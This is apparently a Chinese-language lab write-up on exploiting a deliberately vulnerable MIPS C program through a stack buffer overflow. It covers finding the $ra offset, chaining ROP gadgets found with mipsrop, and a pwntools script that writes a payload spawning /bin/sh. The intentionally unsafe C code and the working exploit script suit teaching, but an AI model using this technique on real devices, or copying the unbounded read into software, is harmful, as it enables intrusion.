程序分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| #include <stdio.h> #include <sys/stat.h> #include <unistd.h>
void do_system(int code,char *cmd) { char buf[255]; system(cmd); }
void main() { char buf[256]={0}; char ch; int count = 0; unsigned int fileLen = 0; struct stat fileData; FILE *fp;
if(0 == stat("passwd",&fileData)) fileLen = fileData.st_size; else return 1;
if((fp = fopen("passwd","rb")) == NULL) { printf("Cannot open file passwd!\n"); exit(1); } ch=fgetc(fp); while(count <= fileLen) { buf[count++] = ch; ch = fgetc(fp); } buf[--count] = '\x00';
if(!strcmp(buf,"adminpwd")) { do_system(count,"ls -l"); } else { printf("you have an invalid password!\n"); } fclose(fp); }
|
首先分析程序逻辑得出
运行程序后从passwd中读取内容,判断是否为adminpwd
而读取数据的buf只有256大小,但是我们却可以在passwd中填充n个数据,因此便造成了栈溢出
为具体确定程序的溢出点,我们可以使用cyclic生成大量有序的字符输入到passwd中,再由程序读取passwd文件时因为溢出而引出的段错误来根据有序字符确定栈底距离$ra
的大小
通过ida动态调试来看寄存器$ra
的值
再次尝试进行验证,填充264个字符后在跟上1234
,可以看到程序的$ra
和$pc
都已经指向了1234
利用过程
之后我们尝试拼接程序中的gadget,来让程序以某种顺序依次执行我们想要他执行的代码
可以根据书中,按如下结构构造payload
其中我们可以利用ida中的mipsrop
插件来寻找相应的gadgets,来让我们需要用到的参数放到对应的寄存器中
之后在IDA中定位到这一段,可以看到首先是将栈空间减少了0x58的大小,意味着我们如果要用该gadget则至少要向伪造的栈空间中填充0x58个字符(包含binsh字符串)才可以保持堆栈平衡,其次要考虑的便是参数所处的位置
重点在addiu $a1,$sp,0x54+var_3c
这一段,构造的payload结构如下
1
| 0x108 + gadget+0x18+"binsh\x00"+0x38 + system_addr+0x4
|
需要注意一点的是不能直接在ida中找do_system
的地址,否则程序回调到其他位置,可以直接在gdb中直接打印do_system的地址即可
最后运行exp,在运行程序溢出反弹shell成功!
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import struct from pwn import * log.info("shellcode for `vuln_system`") payload = cyclic(264) payload += struct.pack(">L",0x00401D40)
payload += "b"*0x18 payload += "/bin/sh\x00"
payload += "c"*(0x3c-len("/bin/sh\x00")) payload += struct.pack(">L",0x400390) payload += "dddd"
fw = open('passwd','w') fw.write(payload) fw.close() success("ok~")
|